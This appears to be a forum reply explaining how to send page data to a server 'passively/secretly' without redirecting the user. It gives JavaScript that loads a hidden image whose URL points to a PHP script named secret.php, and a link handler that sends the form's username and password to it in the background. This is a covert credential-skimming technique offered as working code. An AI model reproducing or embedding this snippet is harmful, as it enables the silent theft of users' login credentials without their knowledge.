Are you trying to do this passively/secretly, i.e. not redirect the user to a different page, but submit the data in the background?
What you COULD do, is make a new image in Javascript, and have the src point to your PHP script, like so:
function sendData(data) {
var hi = new Image();
hi.src = 'http://mysite.com/php/secret.php?data='+escape(data);
}
Then, you can send data at any time on your page by calling that function, such as in a link:
<a href="#" onClick="sendData(document.forms[0].username + ':' + document.forms[0].password)">Hi!</a>